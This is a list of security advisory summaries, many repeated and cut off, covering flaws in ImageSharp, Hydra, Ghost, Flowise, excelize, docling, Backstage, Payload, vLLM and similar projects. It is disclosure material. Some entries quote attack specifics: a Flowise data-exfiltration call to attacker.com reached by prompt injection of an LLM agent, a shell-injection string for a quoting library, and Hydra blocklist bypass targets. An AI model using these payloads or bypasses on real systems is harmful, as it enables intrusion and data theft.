When decoding a tiled TIFF with fax compression (T4/T6/MH), DecodeTilesChunky allocates each tile buffer from TileWidth (ceil(TileWidth*bpp/8)*TileLength bytes) but constructs the fax decompressor with frame.Width: TiffDecompressorsFactory ignores the isTiled/tileWidth/tileHeight parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) frame.Width bits per row, with no bounds check against the tile buffer. The very first tile therefore writes …

When decoding a tiled TIFF with fax compression (T4/T6/MH), DecodeTilesChunky allocates each tile buffer from TileWidth (ceil(TileWidth*bpp/8)*TileLength bytes) but constructs the fax decompressor with frame.Width: TiffDecompressorsFactory ignores the isTiled/tileWidth/tileHeight parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) frame.Width bits per row, with no bounds check against the tile buffer. The very first tile therefore writes …

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default TiffEncoder terminates the process with an unhandled exception.

ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process. This report concerns only the T4 CcittGroup3Fax encoder path. It replaces the prior, unrelated ICC content.

When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in Vector4.

A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present. In published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.

SixLabors.ImageSharp can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers HistogramEqualization only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior.

A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared Configuration.Default allocator for separate image operations and exposes pixels or output derived from …

When decoding a fax-compressed strip TIFF (Compression=3 / Group 3 1D, or Compression=2 / Modified Huffman), the CCITT decompressors write decoded runs through BitWriterUtils.WriteBits/WriteBit/WriteZeroBit, which advance and write bits via Unsafe.Add with read-modify-write semantics — without ever comparing the write position against the target buffer length. The strip buffer is sized ImageWidth × RowsPerStrip (8 bytes in the PoC), but two independent defects let an attacker write tens of millions …

SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. …

hydra-optuna-sweeper accepted a configuration-controlled dotted path in hydra.sweeper.custom_search_space, resolved it with the lower-level hydra.utils.get_method() API, and later invoked the returned callable. Hydra's object-lookup helpers intentionally trust their input and do not apply the execution policy used by instantiate() and logging configuration. As a result, untrusted Optuna multirun configuration could select installed Python code for execution in the Hydra controller process.

Hydra's legacy instantiate() target blocklists and related execution-policy collections are stored in mutable module-level state. Because _locate() can resolve attributes on imported objects, a configuration can resolve a mutation method such as .discard(), modify the active policy, and then instantiate a target that would otherwise be blocked.

Hydra passed its Python logging configuration to logging.config.dictConfig(). Python's logging configurator can resolve and invoke importable classes and factories named by configuration, including handler class values and formatter, filter, handler, queue, and listener () factories. This logging path was not mediated by Hydra's target policy. In versions that already protected instantiate(), logging resolution bypassed those controls because it did not use instantiate(). An attacker who can control a Hydra logging …

Hydra's instantiate() API resolves and invokes Python callables named by the target field in configuration. The target blacklist introduced for CVE-2026-68508 was incomplete. Representative bypasses included execution wrappers such as timeit.timeit, executable deserialization through pickle.loads, and generic dispatch or wrapper targets that obscured the effective callable. Target aliases, callable-returning helpers, and deferred dispatch could similarly bypass name-based checks. An attacker who can cause an application to instantiate an untrusted Hydra …

On every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an admin account with the password sipcapture (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access.

Both JWT middleware functions (JWTMiddleware and JWTMiddlewareV4) immediately return next(c) when jwtSecret == "". The JWT secret defaults to an empty string. On a default installation, all protected API endpoints under /api/v1, /api/v3, and /api/v4 are completely unauthenticated.

The V4StatisticsQuery handler passes the user-supplied rawquery field directly to DuckDB without calling the sqlvalidator.ValidateRawSQL function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.

SVG media thumbnails, and SVG images uploaded with a non-SVG file extension, were stored without sanitization. This allowed any staff user, including Contributors, to host scripts on the site's domain, possibly resulting in compromise of other staff users' admin sessions.

Embedding a URL from an attacker-controlled website could result in untrusted scripts being stored in post content. These scripts could run in the Ghost editor, on the published site, and in newsletter emails, possibly resulting in compromise of a staff user's admin session.

Ghost restricts the content type that uploaded files are served with, to prevent browsers from executing them. On sites using the default local storage adapter, this restriction was not applied, so files uploaded by any staff user were served with a content type derived from their file extension. This could be used to host scripts on the site's domain, possibly resulting in compromise of other staff users' admin sessions.

Embed cards in the Ghost editor could be used to bypass the fix for GHSA-8vhf-xxpj-4qrg. Any staff user, including Contributors, could store scripts in post content that ran when another staff user opened the post in the editor, possibly resulting in compromise of that user's admin session. Self-hosted sites should leave the new security.embedPreviewUrl config option at its default.

When creating a bookmark card, Ghost could store non-image files fetched from an external website as bookmark icons or thumbnails. This allowed any staff user, including Contributors, to host arbitrary HTML on the site's domain, possibly resulting in compromise of other staff users' admin sessions.

An SSRF vulnerability in the webhooks feature allowed staff users to probe internal hosts from the Ghost server.

A validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server's internal network. A successful attack would not result in any response data being returned.

A vulnerability in how Ghost loads theme translation files allowed an authenticated Administrator to execute arbitrary code on the server via a crafted theme.

An image processing library bundled with Ghost contained a vulnerability in its SVG handling. Any staff user, including Contributors, could create a bookmark card for an attacker-controlled website, resulting in arbitrary commands being run on the Ghost server.

A crafted request to the external media inliner could cause excessive CPU usage, making the Ghost server unresponsive. Exploiting this requires Administrator access.

A crafted content import file could cause excessive CPU usage, making the Ghost server unresponsive. Exploiting this requires Administrator access.

A validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server's internal network on some network configurations. A successful attack would not result in any response data being returned.

An input validation issue may have allowed staff users to access local files outside the intended data storage directories on the server.

A vulnerability in how Ghost loads theme translation files allowed an authenticated Administrator to read JSON files outside of the active theme's directory, potentially exposing server configuration secrets.

Any staff-level user was able to determine the relative ordering of other staff users' hashed passwords. This does not directly disclose password hashes, and does not provide a practical path to recovering a password.

Staff users with permission to view staff invites were able to discover the secret token of pending invites, including invites for roles with higher privileges than their own. This could allow a staff user to escalate their privileges by accepting a pending invite.

Staff users with the Editor or Super Editor role were able to assign their own role to Author and Contributor users, despite not having permission to assign that role.

Staff with the Author role could delete posts and pages that they did not author.

An input validation issue allowed members to access comments they were not authorized to access.

SVG images included in content imports were stored without sanitization. An attacker who convinced an Administrator to import a crafted file could host scripts on the site's domain, possibly resulting in compromise of staff users' admin sessions.

Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (validatePythonCodeForDataFrame()) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution – all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: pd.read_json("http://attacker.com/?d=" …

Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (validatePythonCodeForDataFrame()) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution – all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: pd.read_json("http://attacker.com/?d=" …

Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the vm2/@flowiseai/nodevm JavaScript sandbox. An authenticated user with access to the /api/v1/node-custom-function endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file …

Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the vm2/@flowiseai/nodevm JavaScript sandbox. An authenticated user with access to the /api/v1/node-custom-function endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file …

Opening a file whose first eight bytes are the OLE magic number sends excelize down the decryption path whether or not the caller set a password, or supports encrypted workbooks at all. openReaderAt (excelize.go:198-215) branches on the header alone, and agileDecrypt calls convertPasswdToKey before the verifier hash is checked, so the key-derivation loop runs spinCount times regardless. spinCount (crypt.go:98) is a plain int filled by a bare xml.Unmarshal of the …

The max attribute of a <col> element in xl/worksheets/sheetN.xml is read verbatim on open with no check against MaxColumns, and flatCols() then walks Min..Max doing a deepcopy.Copy and append per iteration. Executed: max="300000", only about 18x past the real 16384 limit, cost 46.2 s of CPU and 122 MB on a single SetColWidth call, and the growth is linear in max up to 2^31-1. Confirmed at ae2113b (HEAD at the …

leftRight (calc.go:14236) tests the length with countUTF16String, which counts a rune above U+FFFF as 2. The RIGHT branch on 14241 then slices []rune(text) at utf8.RuneCountInString(text)-numChars, which counts it as 1. For text with N such runes the two measures are 2N and N, so any numChars between them passes the guard and gives a negative index. The numChars < 0 check at 14216 does not help, since the value that …

A worksheet containing <mergeCell ref=""/> makes mergeCellsParser leave the cached rectangle empty, and cellInRange then indexes that empty slice without a length check. Every non-streaming cell API panics with index out of range [0] with length 0 on the first cell read after opening the file.

File.GetStyle indexes the fill, border and font tables with values taken straight out of xl/styles.xml, and the conditions gating those lookups check only the upper bound. A workbook whose cellXfs entry carries fillId="-1", borderId="-1" or fontId="-1" reaches a negative slice index and panics. excelize has no recover(), so the panic leaves GetStyle and takes the calling process with it. Same defect class as GHSA-48hm-4h8j-58fg, the negative shared-string index, in a …

GetConditionalFormats reads sub-elements of a <cfRule> straight out of xl/worksheets/sheetN.xml and indexes them without checking length, and in one case without checking for nil. Three rule types are affected: cellIs, dataBar and colorScale. A workbook with a rule that is missing a child a real Excel file would always have panics the call.

A Zip64 uncompressed-size of 2^63 casts to a negative int64 that bypasses the unzip-size guard and reaches make([]byte, 0, negativeCap) A Zip64 uncompressed-size in the range [2^63, 2^64) casts to a negative int64 in zip.File.FileInfo().Size(), and ReadZipReader does signed arithmetic on that value, so the total-decompression guard is bypassed and the negative size reaches make([]byte, 0, size) in readFile. A 159-byte crafted file panics OpenFile and OpenReader with runtime error: …

Affected versions and vulnerable location Confirmed at ae2113b (current HEAD). Sink: rows.go:967 ws.SheetData.Row[rowIdx].C[colNum-1] = *colData inside checkRow. checkRow computes lastCol from the column of the last cell in document order (rows.go:940), allocates targetList of that length, then re-scatters every source cell into C[colNum-1]. Root cause The slice is sized from the last cell's column, but cells are not required to be column-sorted in the XML. A cell that appears earlier …

ColumnNameToNumber (lib.go:220-237) accumulates the bijective base-26 value of a column name in an int64 with only an upper-bound check (col > MaxColumns) applied after the loop and no overflow detection. A 14-letter column name whose true value is 3·2⁶⁴ — e.g. VGWQHXLSDVIKWV — wraps to col = 0 and passes the guard, so CellNameToCoordinates("VGWQHXLSDVIKWV1") returns (col=0, row=1, err=nil). When normalizing a r="0" row, checkSheetR0 (excelize.go:417-443, called from checkSheet at excelize.go:405) …

ColumnNameToNumber (lib.go:220-237) accumulates the bijective base-26 value of a column name in an int64 with only an upper-bound check (col > MaxColumns) applied after the loop and no overflow detection. A 14-letter column name whose true value is 3·2⁶⁴ — e.g. VGWQHXLSDVIKWV — wraps to col = 0 and passes the guard, so CellNameToCoordinates("VGWQHXLSDVIKWV1") returns (col=0, row=1, err=nil). When normalizing a r="0" row, checkSheetR0 (excelize.go:417-443, called from checkSheet at excelize.go:405) …

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

allow_external_plugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's load_setuptools_entrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

allow_external_plugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's load_setuptools_entrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed. The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), …

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed. The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), …

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through …

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through …

Scaffolder actions that interact with source control systems may not consistently enforce the intended credential boundaries under certain configurations. An authenticated user could perform operations with broader access than intended.

Scaffolder actions that interact with source control systems may not consistently enforce the intended credential boundaries under certain configurations. An authenticated user could perform operations with broader access than intended.

Scaffolder actions that interact with source control systems may not consistently enforce the intended credential boundaries under certain configurations. An authenticated user could perform operations with broader access than intended.

Scaffolder actions that interact with source control systems may not consistently enforce the intended credential boundaries under certain configurations. An authenticated user could perform operations with broader access than intended.

Scaffolder actions that interact with source control systems may not consistently enforce the intended credential boundaries under certain configurations. An authenticated user could perform operations with broader access than intended.

Scaffolder actions that interact with source control systems may not consistently enforce the intended credential boundaries under certain configurations. An authenticated user could perform operations with broader access than intended.

Deployments using catalog cluster discovery may be affected when catalog contributors can create or modify kubernetes-cluster Resource entities. With the required endpoint permissions and pod RBAC, the backend can use its local in-cluster identity, potentially exposing Kubernetes resources readable by that identity. The credential is used only with the local in-cluster API endpoint and is not sent to the catalog-supplied endpoint.

An authenticated Backstage user who can read another user's Scaffolder task may receive internal execution data. In deployments where that data contains credentials for an external service, this may permit disclosure and unauthorized changes in that external service.

Deployments that configure sensitive scaffolder.defaultEnvironment.secrets and allow an attacker to create or modify Scaffolder templates are affected. A template author could cause secret-derived values used during template iteration to be persisted in task logs, exposing those values to users with access to the resulting task logs.

An authenticated user with access to affected Scaffolder templates could bypass configured action restrictions. Depending on integration credentials, this could grant unauthorized access to repositories and related source-control resources.

An authenticated user who can register catalog entities can provide a crafted mkdocs.yml causing arbitrary OS command execution on the TechDocs build host when the docs are built.

The Cloudflare Access auth provider verifies a token's signature and team issuer, but affected versions do not verify that the token was issued for the Backstage application. A user holding a valid token for another Access application in the same Cloudflare Zero Trust team may therefore be able to authenticate to Backstage if that token reaches the auth endpoint without the Backstage application's audience already being enforced upstream. Cloudflare Access …

An authenticated internal user may be able to view metadata for scaffolder tasks outside the visibility intended by a deployment's permission policy. Stored task secrets are not included in the affected response, and no integrity or availability impact was identified.

Under certain configurations, the catalog backend could process location types that were not intended to be allowed, potentially leading to unintended file access on the backend host.

An operator can configure overlapping proxy paths with different credential requirements. When a parent path permits unauthenticated access and a nested path requires credentials, the parent exemption can also cover requests handled by the nested proxy. An unauthenticated caller may therefore reach the nested upstream through Backstage, including with static upstream credentials configured for that proxy. Exploitation requires this specific overlapping route configuration. The resulting confidentiality and integrity impact depends …

An attacker who can provide configuration to a TechDocs build may execute code in the generator runtime. Impact is greatest when documentation generation runs with backend credentials or host access.

When TechDocs is configured to build documentation locally or in a container, a user with write access to a registered repository can include configuration values in mkdocs.yml that cause arbitrary code execution during the documentation build process.

An authenticated attacker with control over a TechDocs source repository could cause a documentation build to retrieve and publish data from network locations reachable by the build environment. Exposure depends on deployment topology, build mode, and target endpoint protections. Modern cloud metadata services that require tokens or special headers are not directly accessible through the affected behavior.

An authenticated Backstage user could craft a catalog entity with placeholder directives that reference resources outside the entity's source repository. Under certain configurations, this could allow access to data not intended to be available to the user.

An authenticated user with permission to create and access Scaffolder tasks may, under specific timing and deployment conditions, affect files accessible to the Backstage backend. If backend application files are writable, the confidentiality, integrity, and availability of the backend may be compromised.

An authenticated user who can execute an affected template and control its repository file location may cause generated content to be written outside the task workspace, within locations writable by the Backstage backend process.

An external service credential configured with access restrictions (e.g., read-only) could bypass those restrictions by routing requests through plugin delegation paths. This could allow a restricted service to perform operations beyond its intended scope, including write operations on plugins it was restricted to read-only access for.

When using the Azure Blob Storage provider, an authenticated Backstage user may be able to read restricted TechDocs content when entity-level permissions are enabled. Deployments that intentionally disable the default backend authentication policy may have broader exposure.

An authenticated internal user who can execute the affected actions may cause the backend to contact unintended destinations and disclose Sentry integration credentials. Subsequent impact depends on network reachability and the privileges granted to the configured token.

An authenticated Backstage user could craft a request URL that causes the proxy-backend to forward the request to a path outside the configured base path on the target server. This is limited to target servers already configured as proxy endpoints and requires Backstage authentication by default.

Insufficient input validation in the Confluence to Markdown scaffolder module could allow an attacker to influence file write operations during template execution. Exploitation requires a Backstage user to run a template that processes attacker-influenced Confluence content.

An attacker with write access to a cloud storage bucket used by Backstage could craft object names that could collide with protected files in the output directory. In certain deployment configurations, this could lead to content injection.

An authenticated user with Kubernetes read permissions could access Kubernetes workload data beyond their intended scope by supplying crafted entity data to the deprecated services endpoint. The exposure is limited to read-only access to Kubernetes object metadata across configured clusters.

An authenticated user with access to one TechDocs documentation site could craft a URL able to read documentation belonging to a different entity. This only affects deployments using the external TechDocs builder with an external storage provider (S3, GCS, etc.) and the permission framework enabled. Instances that do not use the permission framework are unaffected, since TechDocs content is visible to all authenticated users by design.

Deployments using OIDC email-based identity resolution with a provider that permits unverified email addresses may allow an authenticated provider user to assume another catalog identity. This may grant access and permissions associated with that user. No direct availability impact is demonstrated.

Several Passport-based authentication providers use shared OAuth profile normalization from @backstage/plugin-auth-node. Affected versions may pass an email to email-based sign-in resolvers even when verification metadata supplied for that same address is explicitly negative. The ID-token-only fallback likewise did not consistently respect email_verified: false. Exploitation requires a deployment where an admitted identity-provider user can supply or change an email address without verification and Backstage uses that profile email to resolve catalog …

Catalog entity providers for Azure Blob Storage and AWS S3 did not sufficiently validate storage object paths, which could allow catalog descriptors to be read from outside the intended storage boundary. Access is limited to locations reachable by the backend's configured credentials.

Catalog entity providers for Azure Blob Storage and AWS S3 did not sufficiently validate storage object paths, which could allow catalog descriptors to be read from outside the intended storage boundary. Access is limited to locations reachable by the backend's configured credentials.

Catalog entity providers for Azure Blob Storage and AWS S3 did not sufficiently validate storage object paths, which could allow catalog descriptors to be read from outside the intended storage boundary. Access is limited to locations reachable by the backend's configured credentials.

Users with the ability to commit changes to a repository that uses TechDocs can circumvent the MkDocs configuration file sanitizer introduced in response to CVE-2026-25153 and execute arbitrary code on the TechDocs backend host during documentation generation.

Under specific template and failure conditions, an authenticated user may be able to retrieve sensitive values from Scaffolder task events. This can expose backend-managed credentials used during task execution.

An authenticated user who can create and read scaffolder tasks may be able to observe sensitive values in task logs in deployments with restrictive action permissions and affected templates. Exploitation requires a denied action whose input contains such a value.

When using the local TechDocs publisher (techdocs.publisher.type: 'local'), it was possible for the documentation serving endpoint to follow filesystem references outside the intended documentation tree, potentially exposing host files to authenticated users. This is mitigated by the fact that exploration requires preconditions that do not arise through normal MkDocs operation. Cloud-based publishers (S3, GCS, Azure Blob Storage) are not affected.

An authenticated Backstage user subject to a DENY policy for search document types could receive search results they were not authorized to view. This affects deployments with permission.enabled: true and an Elasticsearch or OpenSearch search backend.

An authenticated Backstage user subject to a DENY policy for search document types could receive search results they were not authorized to view. This affects deployments with permission.enabled: true and an Elasticsearch or OpenSearch search backend.

An authenticated user who can register or modify documentation sources may cause a TechDocs build to access resources outside the intended documentation boundary. Depending on deployment configuration, this may expose sensitive backend-host data or internal network resources.

An authenticated Backstage user with permission to create and read relevant scaffolder tasks may be able to infer confidential task data under specific conditions. Successful exploitation requires retained task secrets, visibility of a target task, knowledge of the secret structure, and repeated requests.

Deployments that enable GitLab organization event ingestion and rely on scoped catalog users as an access boundary may admit an unintended catalog identity. Depending on sign-in and permission configuration, this may allow unauthorized access with the permissions of a standard authenticated user.

An authenticated user who can execute an eligible template and influence an allowed Bitbucket repository could affect filesystem paths outside the expected working area. Depending on the backend deployment, this could compromise backend confidentiality, integrity, or availability.

An authenticated user who can execute an eligible template and influence an allowed Bitbucket repository could affect filesystem paths outside the expected working area. Depending on the backend deployment, this could compromise backend confidentiality, integrity, or availability.

An authenticated user holding the standard Kubernetes resource read permission could retrieve sensitive values that the Kubernetes plugin is designed to mask, potentially exposing credentials and other confidential material held in the connected clusters. Exposure is limited to resources that the Backstage service account is permitted to read and that match the targeted catalog entity's namespace and label selector. Deployments whose cluster credentials do not grant read access to these …

Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests. The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also …

An authenticated user limited to one tenant could create a record in another tenant. This requires the multi-tenant plugin with at least one tenant-enabled collection. Reads and direct edits to an existing target-tenant document were not bypassed. You are affected if: You are using @payloadcms/plugin-multi-tenant

Deployments using event-driven updates in the Bitbucket Server catalog provider may ingest catalog locations from repositories that are excluded by the provider's configured project, repository, or archived-repository filters. An authenticated Bitbucket Server user who can push to a filtered-out repository that remains readable by the configured Backstage integration can trigger a legitimate repository event. The affected event path may then add a Location for that repository even though scheduled discovery …

Impact is minor, it is unlikely a user would encounter this problem unless they were working with nested calls, and return statements inside calls. Even in that scenario, you would encounter a revert which should be noticeable with adequate testing. In limited circumstances, this could cause a DoS attack for public contracts under certain conditions.

When performing a function call inside a tuple or as an argument inside another function call, there is a memory corruption issue that occurs because of an incorrect pointer to the the tip of the stack. Example code: @internal def _foo(a: uint256, b: uint256, c: uint256) -> (uint256, uint256, uint256, uint256, uint256): return 1, a, b, c, 5 @internal def _foo2() -> uint256: a: uint256[10] = [6,7,8,9,10,11,12,13,15,16] return 4 @external …

When we pass a multi-dimensional array (like [[1, 2], [3, 4]]) as an argument to internal/external functions we get incorrect output. This is due to a stack management issue, because it was assumed that the size of each subtype of an array/struct is 32, which is not always correct. Example code: @internal def test_input(arr: int128[2][1], i: int128) -> (int128[2][1], int128): return arr, i @external def test_values(arr: int128[2][1], i: int128) -> …

vLLM's default multimodal cache (mm_processor_cache_type="lru") mirrors state across two processes: the frontend (P0) holds only metadata (MultiModalProcessorSenderCache) while the engine core (P1) holds the real payload (MultiModalReceiverCache). The design invariant is that get_and_update() runs on P0 and P1 in lockstep for every request, so eviction order stays mirrored and P0 can answer "is this cached in P1?" without talking to P1. That invariant breaks when a request is rejected after …

On the GPT-OSS "Harmony" path (POST /v1/responses), a request that uses a built-in or MCP tool runs as a multi-turn loop: after each tool call vLLM re-renders the full next-turn Harmony prompt and re-submits it to the engine. Turn 1 correctly carries request.cache_salt, but the tool-continuation re-submission rebuilds the engine input via tokens_input(token_ids) with no cache_salt. The continuation prefix is therefore cached in the global unsalted namespace even though the …

quote() emits a { comment } token as # followed by its text, which comments out the rest of the shell line, including the opening quote of any later string token. A line terminator in that later string ends the comment, and the rest of the string is parsed as shell input: quote(['echo', 'ok', { comment: 'x' }, 'a\nid;#']); // echo ok #x 'a // id;#' Passed to sh, bash, …

A memory-related vulnerability has been discovered and fixed in the upstream librsvg dependency. When certain runtime-specific conditions apply, this vulnerability can lead to possible remote code execution (RCE) on glibc-based Linux.

This is the same bug as Django had (CVE-2013-1443).

Under certain conditions, an attacker can craft a redirect link that sends a guest user to an untrusted destination after authenticating.

Under certain conditions, an attacker can craft a redirect link that sends a guest user to an untrusted destination after authenticating.

Token refresh and password reset responses could return fields that the requesting user did not have access to. You are affected if: An authentication collection contains hidden or read-restricted fields.

A user can submit a request that exploits a SQL Injection vulnerability in Payload. You are affected if: You use an affected Payload version. Untrusted users can query readable collections using dynamic filters or joins. You are not affected if you use MongoDB (@payloadcms/mongodb).

Under certain conditions, sorting readable records could reveal limited information about fields the requester was not permitted to read. You are affected if untrusted users can query a collection, control its sorting, and sort by protected fields.

A malformed multipart request body could take an extremely long time to finish.

An unauthenticated user could cause unintended application behavior when the Import Export plugin is enabled, allowing an attacker to submit and execute remote code (RCE). Applications that do not use @payloadcms/plugin-import-export are not affected.

A user with query access could use polymorphic join filters to infer hidden or read-restricted field values, including password-reset tokens. You are affected if: You use an affected Payload version. Users can query a collection with a polymorphic join to sensitive fields.

The password-hashing configuration used a lower work factor than what is recommended.

An authenticated user could perform unintended Stripe operations through the optional Stripe REST proxy. You are affected if ALL of these are true: Your application uses @payloadcms/plugin-stripe. The optional Stripe REST proxy is enabled. An authenticated user can reach the proxy. Deployments that do not enable the Stripe REST proxy are not affected.

Under certain conditions, an authenticated user could manage MCP API keys outside their intended account allowing an attacker to escalate privileges through account takeover. Applications that do not use @payloadcms/plugin-mcp are not affected.

Payload's duplicate operation copies field values from the source document even when a field is hidden, or its access.read or access.create rule would reject the value for that caller. The disableDuplicate collection setting, enabled by default on auth collections, did not stop this.

Users with read access to other user documents could access their active API keys. An exposed key grants the target account’s permissions until rotated or disabled. You are affected if: An authentication collection enables useAPIKey. Users have read access to other user documents containing active API keys.

A readable collection could expose information about protected documents in a related collection. You are affected if: You expose a readable collection with a relationship to a collection protected by access.read where constraints.

When using the Stripe payment adapter, an order confirmation could be processed more than once under certain conditions. You are affected if: You use @payloadcms/plugin-ecommerce with the Stripe payment adapter. Deployments that do not use the Stripe payment flow are not affected.

When an auth collection defined a field-level access.update restriction on the password field, the restriction was not enforced on the server correctly.

A malicious OpenAPI document processed by any openapi-python-client prior to 0.29.1 can generate arbitrary Python code. When anyone imports the malicious client, that arbitrary Python code will execute.

Improper TLS hostname verification allows a man-in-the-middle (MITM) attack on MsQuic.

In affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to. A malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it: the refresh_token and client_secret stored from an earlier sign-in the client_secret or signed assertion configured on a bundled …

In affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to. A malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it: the refresh_token and client_secret stored from an earlier sign-in the client_secret or signed assertion configured on a bundled …

Before Langflow 1.10.3, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example http://169.254.169.254/latest/meta-data/), and in many cases read the response back through the component output. Two things combined to cause this: Protection disabled …

